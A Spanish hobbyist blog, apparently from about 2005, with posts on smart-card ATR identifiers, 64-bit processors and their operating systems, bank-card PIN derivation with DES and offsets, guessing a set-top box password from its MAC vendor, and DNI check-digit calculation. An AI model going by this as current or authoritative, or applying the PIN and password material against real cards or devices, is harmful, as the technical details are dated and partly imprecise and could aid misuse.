Desgraciadamente, nadie (al menos que yo sepa) mantiene una base de datos con ATR de tarjetas, con lo que aunque sepamos dicho número tampoco nos ayuda en exceso, así que me he animado a publicar aquí una pequeña lista con los ATR de las tarjetas que tengo por casa:

Schlumberger (Axalto) Payflex
 #3b 69 00 00 24 94 01 02 01 00 01 01 a9

Schlumberger (Axalto) Micro Payflex
 #3b 69 00 00 24 94 01 03 01 00 01 00 a9

Schlumberger (Axalto) Cyberflex Access 32K
 #3b 65 00 00 9c 02 02 06 01

Schlumberger (Axalto) Cyberflex Access 64K (ActivCard)
 #3b 65 00 00 29 05 01 02 01

Schlumberger (Axalto) Cyberflex Access 32K e-Gate
 #3b 75 94 00 00 62 02 02 02 01

Schlumberger (Axalto) Cyberflex Access (tipo deconocido, Precise Biometrics Match-on-Card)
 #3b 76 94 00 00 00 9c 11 01 03 02
 #3b 76 94 00 00 00 9c 11 01 03 03

Schlumberger (Axalto) SIM (modelo desconocido)
 #3b 17 94 89 01 02 00 00 41 03

Oberthur CosmopolIC
 #3b 7f 18 00 00 00 31 c0 73 9e 01 0b 64 52 d9 05 00 82 90 00
 #3b 7f 18 00 00 00 31 c0 73 9e 01 0b 64 52 d9 04 00 82 90 00

GyD StarCos S2.1
 #3b bf 18 00 80 31 70 32 53 54 41 52 43 4f 53 20 53 32 31 20 43 90 00 9c

GyD StarCos SPK 2.3
 #3b b7 94 00 81 31 fe 65 53 50 4b 32 33 90 00 d1

GyD SmartCafe Expert 3.22 (SFSE-CX322-V)
 #3b 6f 00 ff 53 46 53 45 2d 43 58 33 32 32 2d 56 18 02 02

Gemplus (modelo desconocido, Precise Biometrics Match-on-card)
 #3b 2a 00 80 65 a2 01 02 01 31 72 d6 43

Gemplus GemXpresso Lite
 #3b 6d 00 00 80 31 80 65 b0 43 01 00 77 83 00 90 00

Gemplus GemXpresso Pro 64
 #3b 7b 94 00 00 80 65 b0 83 01 01 74 83 00 90 00

Gemplus GemXpresso 211PKIS (Beta)
 #3b ad 00 40 ff 80 31 80 65 b0 05 01 01 5e 83 00 90 00

Gemplus GemXpresso 211IS V2
 #3b 6e 00 00 80 31 80 65 b0 03 02 01 5e 83 00 00 90 00

Gemplus (modelo desconocido)
 #3b 68 00 00 80 66 a2 06 02 01 32 0e

Gemplus GemSafe (modelo desconocido, probablemente GemXpresso)
 #3b 7b 94 00 00 80 65 b0 83 01 03 74 83 00 90 00

Gemplus GPK 16000
 #3b a7 00 40 18 80 65 a2 09 01 02 52

Gemplus SIM (modelo desconocido)
 #3b 3f 94 00 80 69 af 03 07 06 68 00 21 0a 0e 83 3e 9f 16

Siemens CardOS 4.01
 #3b f2 98 00 ff c1 10 31 fe 55 c8 03 15

FNMT TIBC (Prototipo)
 #3b 26 00 11 0b 72 00 90 00

FNMT Criptonita
 #3b ef 00 00 40 14 80 25 43 45 52 45 53 57 01 16 01 01 03 90 00

FNMT Criptonita prototipo DNI
 #3b ef 00 00 40 14 80 25 43 45 52 45 53 57 05 60 01 02 03 90 00

Microelectrónica Española SIM (modelos desconocidos)
 #3b db 11 00 c0 20 10 12 4d 4d 41 52 66 32 33 76 77 90 00
 #3b dc 11 00 c0 20 10 12 4d 4d 41 52 f2 48 56 32 2e 33 90 00
 #3b de 11 00 c0 20 10 12 4d 4d 41 52 32 31 2e 31 41 43 54 49 90 00
 #3b df 11 00 c0 20 10 12 4d 4d 41 52 f2 48 56 32 2e 33 43 4f 4e 98 40
 #3b df 11 00 c0 20 10 12 4d 4d 41 52 f2 2b 56 32 2e 31 50 52 45 9f 1a
 #3b df 11 00 c0 20 10 12 4d 4d 41 52 f2 2b 56 31 2e 42 50 52 45 9f 1a
 #3b df 11 00 c0 20 10 12 4d 4d 41 52 f2 48 56 32 2e 33 47 53 41 90 00

La lista no es muy amplia, pero al menos es un comienzo...

Una buena forma de ampliar la lista es usar la información contenida en el software Sun Ray Server Software (de Sun Microsystems). Los terminales Sun Ray necesitan saber con exactitud qué tarjeta has introducido (porque necesitan obtener su número de serie, y la forma de obtenerlo es distinta para cada tarjeta), y para ello utilizan una serie de programas interpretados que se encuentran en el directorio /etc/opt/SUNWut/smartcard/ (estan en lenguaje SwapDrop, que es un derivado de FORTH, pero es fácil entenderlos y suelen estar muy bien comentados). Casi todos estos programillas se basan en ATR conocidos para llevar a cabo la identificación.

Ni que decir tiene que la gracia de conocer marca y modelo de una tarjeta es para empezar a jugar con ella...

# posted by ClawGrip @ 13:54 1 comments

Y como el hardware sin software no nos es de mucha utilidad, vamos a terminar de hablar de procesadores comentando cuales son las distintas opciones de sistema operativo con las que contamos para cada arquitectura:

SPARC

Linux

Aunque las principales distribuciones de Linux (SuSe, RedHat, etc) cuentan con versiones para SPARC (SPARCv9 incluido), no les dan soporte y a menudo están desactualizadas.

Solaris / SunOS

El el sistema operativo por excelencia para SPARC, soportando prácticamente todas las versiones de la arquitectura y con compatibilidad binaria hacia atrás hasta versiones realmente prehistóricas. Aunque Solaris es un producto de Sun, se vende también a través de otras compañías, como Toshiba o Fujitsu-Siemens. Podemos considerar Solaris como el sistema operativo UNIX más evolucionado.

Windows NT

A principios de la década de los 90 Intergraph migró Windows NT 3.1 a la arquitectura SPARC gracias a un acuerdo con Microsoft, aunque esta versión nunca llegó a salir al mercado. Se cree que Microsoft sigue manteniendo actualizada esta versión por si en algún momento le fuese de utilidad.

Otros sistemas operativos

SPARC se usa marginalmente (con la excepción del mercado de reproductores de video digital, donde su aceptación a sido muy buena gracias a los procesadores ZiVA-5) en sectores verticales y cuenta con distintos sistemas operativos propietarios para aplicaciones empotradas. Un ejemplo significativo de estos sistemas operativos es ChorusOS, sistema operativo de código fuente abierto de Sun Microsystems para aplicaciones en tiempo real. También disponemos en SPARC de las principales variantes de BSD (OpenBSD y FreeBSD)

PowerPC

Linux

Hay distintos esfuerzos para consolidar distribuciones de Linux para arquitecturas PowerPC, pero el único realmente valorable viene de parte de IBM y su programa Linux on POWER, que está ayudando enormemente a la consolidación de Linux en este entorno, aunque quizás en detrimento de AIX.

AIX

Versión de UNIX de IBM. Es un sistema maduro, estable y consolidado en la industria.

Windows NT

Microsoft mantuvo en el mercado versiones para PowerPC de Windows NT desde la versión 3.1 hasta la 4.0. El núcleo (kernel) del sistema operativo de la consola de videojuegos Microsoft XBox 360 (de futura aparición) es una evolución de esas versiones anteriores.

Mac OS X

Sistema operativo de Apple que toma como base el sistema operativo multiplataforma (PowerPC y x86) de código fuente abierto Darwin, que a su vez es una evolución de FreeBSD (derivado de UNIX). Mac OS X es un sistema operativo orientado a estaciones de trabajo gráficas que, pese a haberlo intentado, no ha conseguido calar en el mercado de los servidores, principalmente por falta de madurez y rendimiento del conjunto de la plataforma de Apple.

Solaris

Sun Microsystems anunció en 2004 la intención de portar Solaris a arquitecturas PowerPC (y llegó a tener prototipos internos de Solaris ejecutándose en pSeries de IBM), pero desacuerdos con IBM hicieron que la iniciativa no prosperase.

Otros sistemas operativos

PowerPC es un procesador muy extendido en el sector de la electrónica de consumo y otros sectores verticales, contando con sistemas operativos como VxWorks, QNX Neutrino o ChorusOS. También disponemos en PowerPC de las principales variantes de BSD (OpenBSD y FreeBSD)

Itanium 2

Linux

Soportado por los principales distribuidores. Conviene destacar la plataforma Altrix de Silicon Graphics, donde se consigue que Linux escale hasta 512 procesadores con una única instancia del sistema operativo.

Windows

Soportado en Windows Server 2003. Microsoft canceló a principios de 2005 la salida de Windows XP para plataforma Itanium por la baja presencia en el mercado de este tipo de procesadores en estaciones de trabajo.

HP-UX

UNIX de HP, es el gran impulsor de los procesadores Itanium. Tras la (anunciada) próxima desaparición de los procesadores PA-RISC, HP centra su estrategia UNIX en Itanium, no sin gran riesgo.

HP OpenVMS

A principios de 2005 HP presentó la versión 8.2 de OpenVMS portada para su plataforma Integrity. OpenVMS deriva de VMS, antiguo sistema operativo de Digital que popularizó la plataforma VAX.

HP NonStop

En la primera mitad de 2005 HP presentó su plataforma NonStop portada a la plataforma Integrity. NonStop Kernel es la herencia de los antiguos sistemas Tanden, comprados por HP hace ya tiempo.

GCOS 8

GCOS 8, la evolución de la plataforma mainframe de Bull se ejecuta ahora en la gama NovaScale 9000, basada en los procesadores Itanium 2, dando fuerzas renovadas a las instalaciones mainframe del fabricante francés.

AIX

IBM anunció durante el desarrollo de Itanium su intención de portar AIX a esta plataforma, pero finalmente canceló el proyecto a favor de sus propios procesadores POWER. IBM llegó a mostrar prototipos de AIX 5.1L corriendo sobre Itanium.

Otros sistemas operativos

La gran portabilidad de los sistemas operativos basados en BSD hace que nos los encontremos prácticamente en todas las plataformas, e Itanium 2 no es una excepción.

AMD Opteron

Linux

Soportado por los principales distribuidores.

Windows

Soportado tanto en su versión para servidores como en la destinada a estaciones de trabajo.

Solaris

Existe una versión soportada de Solaris x86 con soporte nativo de la arquitectura AMD64.

Otros sistemas operativos

Sistemas operativos basados en BSD, como FreeBSD y OpenBSD.

Xeon EMT64

Conviene resaltar que, como decíamos en el artículo anterior, los procesadores Xeon EMT64 necesitan un sistema operativo de 64 bits con soporte nativo de sus extensiones de 64 bits para aprovechar todo su potencial. Intel no proporciona información sobre que sistemas implementan ya estas extensiones, así que nos referiremos aquí a la compatibilidad con Xeon en general.

Linux

Soportado por los principales distribuidores.

Windows

Soportado tanto en su versión para servidores como en la destinada a estaciones de trabajo.

Solaris

Soportado en Solaris x86.

Plataformas UNIX de SCO

SCO mantiene OpenServer y UnixWare para plataformas x86, pero perdiendo paulatinamente cuota de mercado, principalmente por el avance de Linux.

Darwin

Como hemos comentado anteriormente, Darwin funciona (aunque Apple no ofrece soporte) bajo plataformas x86. Se especula además que Apple cuenta desde hace tiempo con una versión interna de Mac OS X para x86, que le proporcionaría la capacidad de lanzar una linea basada en procesadores Intel en muy corto plazo (como de hecho se ha anunciado).

Otros sistemas operativos

La popularidad de los procesadores x86 ha propiciado su uso en multitud de sistemas, existiendo un enorme número de sistemas operativos, tanto de caracter general como para aplicaciones verticales, disponibles para ellos, entre los que encontramos las variantes de BSD y la mayoría de los sistemas operativos en tiempo real.

# posted by ClawGrip @ 12:33 0 comments

Desde que Apple anunció sus planes de abandonar los procesadores PowerPC en favor de los productos de Intel se habla de las diferencias y ventajas de cada arquitectura, vamos a intentar pegar aquí un pequeño resumen contando un poco como ha evolucionado cada procesador (de 64 bits):

Como antecedente tomamos el trabajo de Les Kohn, antiguo ingeniero de microprocesadores de Intel (creador del i960) y Sun Microsystems (creador del primer UltraSPARC), que en la compañía C-Cube (comprada más tarde por LSI Logic) crea el primer SPARC con arquitectura (potencialmente) multinúcleo, el ZiVA-5. Tras completar el diseño del ZiVA-5, Les Kohn crea su propia compañía, Afara, la cual es comprada por Sun Microsystems.

Sun Microsystems incorpora la tecnología de Afara, adelantando los diseños multinúcleo a la serie UltraSPARC IV, pero cancela las líneas Gemini (UltraSPARC II de doble núcleo) y UltraSPARC V (diseño multinúcleo avanzado), dejando el futuro de los procesadores Sun Microsystems en el llamado Rock, que, previsto para 2008, se supone será un procesador avanzado de múltiples núcleos (8) con varios hilos de ejecución por núcleo (4). El vacío entre el UltraSPARC IV y Rock se piensa cubrir mediante un acuerdo con Fujitsu que permite a Sun utilizar los procesadores de este, a la espera de contar con diseños propios. Los anunciados procesadores UltraSPARC IV+ y UltraSPARC IV Cu son evoluciones del UltraSPARC IV con mejoras (tecnológicamente) menores (cobre, aumento de caché, 90nm, etc.).

Fujitsu por su parte, evolucionó rápidamente su línea SPARC64 IV consolidando de forma temprana la fabricación en 90nm (algo que Sun, dependiente en este aspecto de sus acuerdos con Texas Instruments, tardó en alcanzar) consiguiendo mejoras de velocidad considerables respecto al UltraSPARC III. Su línea SPARC64 VI (multinúcleo) se espera para finales de año, aunque acumula ya cierto retraso respecto a las previsiones iniciales.

IBM SERIE G (G5)

Gracias a acuerdos con Microsoft, IBM ha desarrollado un procesador PowerPC para la consola Xbox, similar al G5 utilizado por Apple, y que cuenta con tres núcleos simétricos a 3.2 GHz cada uno, estando previsto su lanzamiento a finales de 2005.

Mediante acuerdos con Nintendo (con quien previamente IBM había desarrollado el procesador PowerPC Gekko) IBM está desarrollando el procesador Hollywood, consistente en una arquitectura basada en el G5, pero con 4 núcleos a 2.5 GHz. El lanzamiento se espera para finales de 2006 o principios de 2007.

Siguiendo los acuerdos alcanzados con Apple en los inicios de la arquitectura PowerPC, IBM ha sacado recientemente el procesador PowerPC 970 MP, que es un G5 con doble núcleo creado para las estaciones de trabajo Apple. Conviene comentar que Apple ha anunciado un acuerdo con Intel que podría significar la transición desde PowerPC a Intel en su gama de computadoras, quedándose IBM sin el mayor comprador de procesadores PowerPC G5.

Los procesadores pasados en las series G se están incorporando progresivamente en la gama de servidores de IBM, empezando por los Blade.

IBM SERIE POWER (POWER5)

Los procesadores POWER5 de IBM, presentes en su gama pSeries cuentan con arquitecturas de doble núcleo, aunque se han presentado prototipos funcionales de ocho núcleos (de futuro incierto, puesto que no se han hecho comunicados posteriores).

Se esperan mejoras tecnológicas menores para la serie POWER5, como la bajada de tamaño (die size), consolidar procesos de fabricación en tamaños menores a 90nm, etc.

IBM no ha desvelado detalles ni fechas concretas de lanzamiento de su próxima serie POWER6.

IBM– SONY–TOSHIBA SERIE CELL PROCESSOR

Mediante desarrollos conjuntos IBM-Sony-Toshiba se ha desarrollado una nueva arquitectura (innovadora, muy avanzada) de procesadores basados en celdas, las cuales contienen las llamadas unidades de proceso acopladas (APU); estas celdas se coordinan mediante una unidad de proceso (PU) PowerPC de 64 bits. El primer procesador se espera para el año que viene incorporado en la consola de videojuegos PlayStation 3 de Sony, con 7 celdas (8-1) y 3.2 GHz (se llegaron a mostrar prototipos funcionales a más de 4 GHz).

IBM ha presentado paralelamente una placa para servidor Blade con 2 Cell Processor de 7 núcleos y 4 hilos de ejecución por núcleo. El prototipo ejecutaba Linux, aunque no se espera un lanzamiento comercial hasta 2007 (tenían problemas con la disipación de calor).

Los procesadores basados en celdas se espera den un rendimiento 10 veces superior al de los actuales G5.

Toshiba ha anunciado una serie para electrónica de consumo, que contaría inicialmente con 5 celdas/APU (6-1) y capacidades de tratamiento de video de alta definición.

IBM SERIE DE CONSUMO

Además de los procesadores PowerPC de IBM antes comentados, IBM evoluciona paralelamente una línea para electrónica de consumo ampliamente aceptada en el mercado.

MOTOROLA / FREESCALE

Conviene resaltar que, aunque no lo refleje el diagrama, Motorola (ahora Freescale) es licenciatario (y creador junto a IBM y Apple) de la tecnología PowerPC, y cuenta con sus propios desarrollos, principalmente orientados a la electrónica de consumo; aunque sigue fabricando la serie G4 (PowerPC 7451), utilizado en los ordenadores portátiles de Apple, donde el G5 no se puede usar debido a la enorme cantidad de calor que disipa.

La evolución tecnológica inmediata de Itanium 2 es el procesador con nombre en clave Montecito, que incorporará doble núcleo. Montecito se esperaba inicialmente para principios de 2004 como procesador de simple núcleo, mientras que en 2005 debía aparecer una versión más avanzada llamada Tukwilla (multinúcleo, se espera con 4 u 8 núcleos), la cual Intel sitúa ahora para el 2007, mientras que anuncia que Montvale, una versión intermedia entre Montecito y Tukwilla para el 2006). La situación real es que no se prevé que el proceso de fabricación masiva de Itanium con doble núcleo empiece antes de 2006.

Es curioso ver el proceso de promoción temprana de Montecito, procesador que recordemos aún no está en el mercado. Así, este procesador recibió el premio al mejor procesador del año 2004 entregados por Microprocessor Report (¿¿??) y desde 2004, la información competitiva de Itanium contra POWER proporcionada en la página Web de HP compara contra Montecito, y no contra la versión de Itanium 2 que montan actualmente (y montaban entonces) sus máquinas.

Las evoluciones de Itanium 2 en los últimos tiempos han ido orientadas al incremento de los tamaños de la memoria caché y al paso a la fabricación en 90nm., con unos buenos resultados en rendimiento.

Hace apenas unas semanas salió al mercado la versión de doble núcleo de los procesadores AMD Opteron (hasta 2.2 GHz), completando la evolución que AMD inició incorporando doble núcleo en sus procesadores para ordenadores de ámbito doméstico y estaciones de trabajo.

AMD está anunciando planes para integrar cuatro núcleos en sus próximas evoluciones del chip.

Conviene resaltar que las ventas de sistemas basados en Opteron han sido excepcionales, superando en diez veces las ventas de sistemas basados en Itanium, aunque siempre las ventas de Opteron se han orientado al mercado de servidores de gama baja (hasta 4 procesadores, pocas veces más de 8).

Otro detalle destacable de los procesadores es que ejecutan el juego de instrucciones x86 (IA32) de forma nativa, siendo así compatibles con todo el software existente para x86 sin apenas pérdida de rendimiento, en contraste con Itanium, que ejecuta el juego de instrucciones IA32 mediante una capa de emulación, dando un rendimiento muy pobre.

Tras el lanzamiento hace ya algún tiempo de la serie HyperThreading (varios hilos en un único núcleo) de los procesadores Xeon, Intel lanzó hace algunas semanas una versión de Xeon (hasta 3.66 GHz) con extensiones de 64 bits para el direccionamiento de memoria (que es la característica más destacable de los procesadores de 64 bits.). Intel no ha anunciado detalles de posibles extensiones a 64 bits del resto de los componentes del procesador. Los Xeon EMT64 necesitan un sistema operativo de 64 bits para desplegar el potencial de sus nuevas extensiones.

A principios de año Intel espera tener en el mercado la versión de doble núcleo de los procesadores Xeon (del cual se han mostrado ya prototipos funcionales), siguiendo los pasos marcados por los procesadores Pentium 4 Extreme Edition (también de doble núcleo), actualmente a la venta y destinados a estaciones de trabajo e informática doméstica.

Más allá del doble núcleo, Intel prepara procesos de fabricación a 65 nm. Para finales de 2007.

# posted by ClawGrip @ 16:45 3 comments

Llevo ya unos días con un proyecto de migración de un entorno COBOL sobre IBM Z/OS a COBOL bajo UNIX, impulsado por los enormes costes que supone mantener un IBM zSeries.

Cuando hablas de COBOL normalmente la gente piensa que es un lenguaje obsoleto, algo del pasado, pero para convencernos de lo contrario os recomiendo que volvais a ver la película Terminator (la primera parte) ¿Recordais las imagenes del futuro en las que se ve, tras el holocausto nuclear, a guerrillas de hombres luchando contra las máquinas?

  
Os pego un par de fotogramas para refrescar la memoria.

Los hombres cuentan con avanzado armamento en su lucha por la supervivencia de la raza humana, armamento programado en... ¡COBOL! (leed la ampliación del fotograma en el que se ve la pantallita del fusil). Así que ya sabeis, el destino de la humanidad está en manos del viejo COBOL, que jugará un papel primordial en la lucha contra Skynet y la rebelión de las máquinas.

# posted by ClawGrip @ 09:40 0 comments

El PIN de las tarjetas bancarias... ¿Se almacena en la banda magnética de la tarjeta? ¿Se almacena en el servidor? Vamos a intentar explicar un poco como funciona el PIN, para salir completamente de dudas:

Para empezar, el PIN no va ni almacenado en la tarjeta ni en el servidor, sino que se calcula a partir del llamado número de identificación personal (PAM, que normalmente es el mismo número de la tarjeta de pago), siendo el proceso de generación el siguiente:

1. El PAM se cifra con la clave DES de cifrado de PIN (en adelante PkPIN).
2. Como el resultado del cifrado del paso anterior es binario, se pasa a número mediante una tabla de decimalización.
3. Truncamos el resultado de la decimalización a 4 dígitos (el número obtenido tras la decimalización era de 16 dígitos).

Pero si el PIN se calcula a traves del PAM... ¿Que pasa cuando cambio el PIN? Pues únicamente que se almacena en la tarjeta un desplazamiento del nuevo PIN respecto al original, quedando entonces el proceso de la siguiente forma:

1. El PAM se cifra con PkPIN.
2. El resultado del cifrado se pasa a número mediante una tabla de decimalización.
3. Restamos este número con el nuevo PIN seleccionado por el usuario (resta en módulo 10).
4. Truncamos el resultado a 4 dígitos.
5. Almacenamos el resultado en la banda magnética (y en el servidor central), a este número lo llamaremos desplazamiento

1. El PAM se cifra con PkPIN.
2. El resultado del cifrado se pasa a número mediante una tabla de decimalización.
3. Restamos este número con el desplazamiento almacenado en la banda (resta en módulo 10).
4. Truncamos el resultado a 4 dígitos y lo comparamos por el introducido por el usuario para la verificación

Como podeis comprobar, el proceso es muy sencillo, y basa toda su seguridad en la protección del cifrado DES con PkPIN. Como esta clave está tanto el cajero automático como el servidor central, la comprobación puede hacerse en cualquier extremo (o en ambos). Cuando la comprobación se realiza en el servidor central, el cajero le envía (cifrado, claro) lo que se llama un bloque PIN (PIN block), que es una combinación (XOR) del PAM y el PIN introducido; el formato de los bloques de PIN difiere según la norma que se emplee (ANSI X9.8; ISO 0, 1 ó 2; ó VISA 2 ó 3), pero esa es ya otra historia.

# posted by ClawGrip @ 10:18 0 comments

Hoy me he puesto a jugar con un viejo cacharro que tenía por casa, un prototipo de Set Top Box de Sun Microsystems, con el que se hicieron pruebas para una iniciativa de acceso a Internet desde casa con OpenBank de Bankinter, muy al estilo de las Intel Dot.Station que promocionó el BSCH sin demasiado éxito, solo que en este caso la iniciativa nunca llegó a ponerse en práctica.

La máquina en cuestión es bastante simple, cuenta con salidas de video y audio analógicos para conectar a un televisor, puertos serie y paralelo, PS/2 para teclado, salida VGA y un puerto Ethernet. Si abrimos la caja podemos ver un PowerPC de Motorola como procesador central, un módem Rockwell (fabricado por Sun) y un controlador gráfico IGS CyberPro 2010.

Al arrancar nos encontramos con el primer problema: ¡Pide contraseña! Los pasos que he dado hasta dar con la dichosa contraseña no han sido pocos...

Primero conecté una consola al puerto serie, pero no parece devolver nada, después intenté lo propio con el puerto Ethernet, con igual resultado: nada. El puerto de red, aunque da enlace, no devuelve absolutamente nada (al menos nada que el snoop de Solaris pueda detectar).
Cuando empezaba ya a desesperarme, me fijé que en la pegatina de la memoria flash había escrita una dirección MAC:

Por curiosidad, busqué en la web de la IEEE a quién pertenecía, y no era ni a Sun ni a SAMPO (cuyo logotipo aparece en la carcasa), sino a Diba, empresa que fue adquirida por Sun hace ya tiempo. Con esta información hice rapidamente el primer intento: Contraseña = "diba"... ¡Bingo! ¡Ya tenemos acceso!

Desgraciadamente, parece que el puerto Ethernet esta inoperativo, ya que no hay manera de configurar el acceso a internet que no sea por modem. Por lo demás, el software es el común en este tipo de cacharros, navegador Web, correo y poco más.

# posted by ClawGrip @ 17:15 0 comments

Desde hace ya algún tiempo, en el reverso de los DNI tenemos, además del nombre (y apellidos) y el número junto a los habituales símbolos de "menor que" (<) otros campos y números cuyo significado no está tan claro. Vamos a echarle un vistazo y a aclarar que es exactamente cada cosa con estas lineas de ejemplo de un DNI ficticio:

IDESP12345678Z3<<<<<<<<<<<<<<<
7501045M0907198ESP<<<<<<<<<<<6
GARCIA<JIMENEZ<<CLAWGRIP<<<<<<


Primera linea:

ID        = Tipo de documento (DNI)
ESP       = País emisor del documento (España)
12345678Z = Número del documento
3         = Dígito de control del número del documento

Segunda linea:

750104 = Fecha de nacimiento (1 de enero de 1975)
5      = Dígito de control de la fecha de nacimiento
M      = Sexo (masculino)
090719 = Fecha de caducidad (19 de julio de 2009)
8      = Dígito de control de la fecha de caducidad
ESP    = Nacionalidad (española)
6      = Dígito de control (total)

Tercera linea:

GARCIA   = Apellido
JIMENEZ  = Apellido
CLAWGRIP = Nombre

Es curioso que al preguntarle a la gente por el significado de los dígitos de control te suelen contestar con variadas gilipoyeces, las más comunes son que se refieren al número de personas que tienen tu mismo número de DNI o que es el número de personas ya muertas que tuvieron este número.

Vamos a explicar como se calcula este dígito de control:

Primero le asignamos un peso a cada caracter segun la siguiente tabla:

 A  B  C  D  E  F  G  H  I  J  K  L  M
10 11 12 13 14 15 16 17 18 19 20 21 22

 N  O  P  Q  R  S  T  U  V  W  X  Y  Z
23 24 25 26 27 28 29 30 31 32 33 34 35

Los caracteres numéricos tienen su mismo valor como peso (y el "<" vale 00):

 0  1  2  3  4  5  6  7  8  9
00 01 02 03 04 05 06 07 08 09

Teniendo los valores numéricos de los caracteres, los vamos multiplicando para obtener su peso definitivo: Si su posición dentro del campo (empezando por 1) es múltiplo de 3 se queda igual (x1), si es múltiplo de 2 (pero no de 3) multiplicamos por tres (x3) y al resto los multiplicamos por siete (x7). Para obtener el peso total del campo sumamos los pesos definitivos de todos sus caracteres.

Ejemplo (fijaos en que el valor numérico de "Z" es 35):

12345678Z = 1x7 + 2x3 + 3x1 + 4x7 + 5x3 + 6x1 + 7x7 + 8x3 + 35x1 = 173

Teniendo el peso numérico total del campo (en nuestro ejemplo es 173) simplemente calculamos el módulo respecto de 10 y ya tenemos el dígito de control, que en nuestro ejemplo sería 173 % 10 = 3.

Una observación importante para obtener el dígito de control total: Hay que excluir los campos de sexo y nacionalidad.

Y por último, comentar un par de cosas:
Primero que las expediciones de números de DNI sigue un sistema de rangos preasignados, normalmente por comisaría; si tenemos un número bajo no es que nos haya tocado el número de un muerto, sino que se nos ha asignado un número de un rango que, vete tú a saber porqué, no se había gastado aún, a pesar de llevar asignado algún tiempo. No hay dos DNI con el mismo número, ni de muertos ni de vivos.
Y segundo que el formato de estas lineas de nuestro DNI, al igual que las de los pasaportes, están normalizadas por ICAO y por ISO, aunque desgraciadamente los documentos con las especificaciones son de pago en ambos sitios.

# posted by ClawGrip @ 22:15 0 comments

Una de las cosas interesantes que tenía mi anterior trabajo era el poder acceder a dispositivos muy poco comunes, como por ejemplo, biométricos de iris. Uno de estos dispositivos era el PIER 2.3, de Securimetrics. Este cacharrillo permite identificaciones móviles por iris, tomando fotografías de ojos tan chulos como este:

Técnicamente, el dispositivo es bastante curioso; ejecuta un DOS 6.22 (General Software Embedded DOS-ROM 6.22) y sobre este un Phar Lap Embedded ToolSuite (ETS) 10.0; esto le permite ejecutar ciertas aplicaciones Win32, como por ejemplo las bibliotecas con los algoritmos de biometría de iris de Iridian Technologies. Como procesador usa un AMD ElanSC520 a 133 MHz.

Y ya por curiosidad... ¿Alguien identifica de quien es el ojo?

# posted by ClawGrip @ 22:44 0 comments

Si conectamos una consola serie al puerto RAS obtenemos la siguiente secuencia de arranque:

Starting Print Engine Sequencer... IC posts (LCR): 1 0 1 IC configured for contacted coupler Device ID built:00MFG:Datacard Group; CMD:HIF; MDL:Select Class with AIT; CLS:PR INTER; DES:Select Class with AIT 2; COMMENT:Rev 4.5 Clocks 79             Select Class with AIT Platinum Printer                 Copyright (c) 1998 - 2003 by                   Datacard. Minneapolis, MN.                     All rights reserved.   Serial Number:        C65671   Engine Revision:      4.5.1   Xilinx Version:       19   Xilinx CPLD Version:  46   Total Memory:         8388608 bytes   Ribbon Type:          Monochrome ribbon EEPROM initialization status:   EEPROM Read: Operational configuration parameters. Normal.   EEPROM Write: None. Normal. Magstripe module installed mstask  creates maintask, rastask MS:  MS EE Boot:   EE ok, OPS r, OPS w, FAC r, FAC w: 1,1,0,0,0 IC posts (LCR): 1 0 1 IC configured for contacted coupler SmartCard module installed Flipper module installed Raster planes alloced. num8=7, num1=5, memused=4929258, mem left=957359 USB hardware installed, starting interface...Done

# posted by ClawGrip @ 15:17 0 comments